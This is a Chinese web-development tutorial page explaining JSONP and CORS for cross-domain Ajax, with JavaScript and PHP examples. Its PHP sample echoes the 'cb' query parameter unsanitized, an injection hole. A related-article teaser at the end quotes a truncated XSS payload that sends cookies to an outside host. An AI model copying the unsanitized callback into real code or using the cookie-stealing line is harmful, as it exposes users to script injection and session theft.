专栏首页cwl_Java前端基础-Ajax跨域问题的解决方案

前端基础-Ajax跨域问题的解决方案

第10章 跨域问题的解决方案

10.1 认识jsonp

<script src="ajax.js"> </script>
<script>
    $.get('http://127.0.0.1:9000',function(){});
</script>

ajax 请求的URL地址,不在当前域名下,就会出现一下错误:

同源策略,也叫跨域禁止策略; 阻止从一个域上加载的脚本,获取或操作另一个域上的资源;

但是,公司内部系统的数据交互就无法进行: 公司OA系统 :http://oa.itcast.cn 公司ERP系统 :http://erp.itcast.cn 公司ESM系统 :http://esm.itcast.cn

而Web页面上调用js文件时则不受是否跨域的影响 (不仅如此,我们还发现凡是拥有"src"这个属性的标签都拥有跨域的能力,比如script、img、iframe); src 的能力就是把远程的数据资源加载到本地(图片、JS代码等);

前台代码:

<script src="ajax.js"> </script>
<script>
    //提前写好函数,调用函数需要传参
    function cb(msg){
        console.log(msg);
    }
</script>
<!--src加载进来的代码就是一个JS的函数调用,cb函数调用  -->
<script src="http://bbs.com/1.php"></script>

后台PHP代码:

$arr = ['a'=>1,'b'=>'san','c'=>'wu','d'=>4];
$str = json_encode($arr);
//返回字符串,JS代码的函数调用
//要返回的数据作为函数传参传递
echo "cb(".$str.")";

修改前后台代码,增加灵活性;

前台代码:

<script src="ajax.js"> </script>
<script>
    //提前写好函数,调用函数需要传参
    function callback(msg){
        console.log(msg);
    }
</script>
<!--src加载进来的代码就是一个JS的函数调用,cb函数调用  -->
<!--地址get传参,告知后台函数调用名称 -->
<script src="http://bbs.com/1.php?cb=callback"></script>

后台PHP代码:

$arr = ['a'=>1,'b'=>'san','c'=>'wu','d'=>4];
$str = json_encode($arr);
//返回字符串,JS代码的函数调用
//要返回的数据作为函数传参传递
//接受参数拼接,作为函数调用名称
echo $_GET['cb']."($str)";

10.2 如何使用JSONP

<body>
   <input type="button" id="btu" value="点击">
</body>
<script src="ajax.js"> </script>
<script>
    //提前写好函数,调用函数需要传参
    function callback(msg){
        console.log(msg);
    }
    //动态添加script标签及src属性
    $('btu').onclick = function(){
        var sc = document.createElement('script');
        sc.src = "http://bbs.com/2.php?cb=callback";
        document.getElementsByTagName('head')[0].appendChild(sc);
    }
</script>

就是在远程服务器上设法动态的把数据装进js格式的文本代码段中,供客户端调用和进一步处理; 在前台通过动态添加script标签及src属性,表面看上去与ajax极为相似,但是,这和ajax并没有任何关系; 为了便于使用及交流,逐渐形成了一种 非正式传输协议,人们把它称作 JSONP

该协议的一个要点就是允许用户传递一个callback参数给服务端, 然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据, 这样客户端就可以随意定制自己的函数来自动处理返回数据了。

10.3 跨域资源共享( CORS)机制

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

php代码中添加一下header头声明:

Access-Control-Allow-Origin:* //域名,* 允许所有

php:(服务端代码)

<?php
header('Access-Control-Allow-Origin:http://localhost'); 
echo 1 

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 经典笔试题-在HTML中如何包含JavaScript?

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    cwl_java
  • VUE-指令

    指令 (Directives) 是带有 v- 前缀的特殊特性。指令特性的预期值是:单个 JavaScript 表达式。指令的职责是,当表达式的值改变时,将其产生...

    cwl_java
  • 前端基础-计算属性与侦听器

    模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的。在模板中放入太多的逻辑会让模板过重且难以维护。因此我们可以使用方法,来进行运算并返回数据:

    cwl_java
  • xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

    FB客服
  • 浏览器中的ECMAScript模块(译)

    原文:https://jakearchibald.com/2017/es-modules-in-browsers/

    IMWeb前端团队
  • 浏览器中的ECMAScript模块(译)

    本文作者:IMWeb zzbozheng 原文出处:IMWeb社区 未经同意,禁止转载 原文:https://jakearchibald.com/20...

    IMWeb前端团队
  • 【开源游戏/休闲益智】找您妹!

    在各类物品中精准锁定目标,既需要眼力也需要专注,双人眼力大比拼,3局2胜看谁更快找到所有物品。眼力不好怎么找对象!快来和你的小伙伴比拼一下眼力吧!

    用户5997198
  • 【开源游戏/射击】愤怒的小红帽

    HTML5愤怒的小红帽小游戏是一款益智休闲射击小游戏,游戏中一支箭,一个便当袋,小红帽能平安的到达老奶奶家吗?赶紧一起护送小红帽去奶奶家吧。完成这个神圣的任务,...

    用户5997198
  • HTML的 script 标签引用js文件及其属性整理

    在 HTML 页面中,可以通过 <script> 标签插入 JavaScript 代码,也可以引用外部 js 文件。

    德顺
  • Js基础教程之认识js

    老雷PHP全栈开发

扫码关注云+社区

领取腾讯云代金券